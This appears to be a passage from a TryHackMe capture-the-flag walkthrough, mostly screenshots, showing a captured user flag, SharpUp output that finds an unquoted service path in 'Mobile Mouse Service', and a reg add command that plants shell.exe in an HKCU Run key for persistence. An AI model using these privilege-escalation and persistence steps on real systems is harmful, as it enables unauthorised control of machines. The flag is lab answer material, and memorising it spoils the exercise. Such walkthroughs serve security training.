[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/G197xR3YtSvfW0Zj-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/G197xR3YtSvfW0Zj-image.png)

<p class="callout info">Now we have a windows terminal opened.</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/npZD24LWuXGNJ9TI-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/npZD24LWuXGNJ9TI-image.png)

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/liNjbiC8Zkac3lhE-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/liNjbiC8Zkac3lhE-image.png)

<p class="callout info">Get the flag in the user.txt</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/tH4Tr7vM1vt3BSVT-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/tH4Tr7vM1vt3BSVT-image.png)

<p class="callout danger">**THM{Terry\_mouse\_2\_rce}** </p>

#### Exploiting the Unquoted Path

Search the unquoted path of a service using the command below.

<p class="callout info">Using shapup.exe</p>

```
C:\Users\purpletom>SharpUp.exe audit
SharpUp.exe audit

=== SharpUp: Running Privilege Escalation Checks ===
[!] Modifialbe scheduled tasks were not evaluated due to permissions.

=== Services with Unquoted Paths ===
	Service 'Mobile Mouse Service' (StartMode: Manual) has executable 'C:\Program Files (x86)\Mobile Mouse\Mouse Utilities\HelperService.exe', but 'C:\Program' is modifable.
	Service 'Mobile Mouse Service' (StartMode: Manual) has executable 'C:\Program Files (x86)\Mobile Mouse\Mouse Utilities\HelperService.exe', but 'C:\Program Files' is modifable.
	Service 'Mobile Mouse Service' (StartMode: Manual) has executable 'C:\Program Files (x86)\Mobile Mouse\Mouse Utilities\HelperService.exe', but 'C:\Program Files (x86)\Mobile Mouse\Mouse' is modifable.

```

'C:\\Program Files (x86)\\Mobile Mouse\\Mouse' is modifable.

<p class="callout warning">=== Services with Unquoted Paths ===</p>

<p class="callout warning">Service 'Mobile Mouse Service' (StartMode: Manual) has executable 'C:\\Program Files (x86)\\Mobile Mouse\\Mouse Utilities\\HelperService.exe', but 'C:\\Program' is modifable.</p>

<p class="callout warning">Service 'Mobile Mouse Service' (StartMode: Manual) has executable 'C:\\Program Files (x86)\\Mobile Mouse\\Mouse Utilities\\HelperService.exe', but 'C:\\Program Files' is modifable.</p>

<p class="callout warning">Service 'Mobile Mouse Service' (StartMode: Manual) has executable 'C:\\Program Files (x86)\\Mobile Mouse\\Mouse Utilities\\HelperService.exe', but 'C:\\Program Files (x86)\\Mobile Mouse\\Mouse' is modifable.</p>

<p class="callout success">C:\\Program Files (x86)\\Mobile Mouse\\Mouse&gt;reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v shell /t REG\_SZ /d "C:\\Windows\\Temp\\shell.exe" /f</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-11/scaled-1680-/qhxSL0FItN14EQCC-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-11/qhxSL0FItN14EQCC-image.png)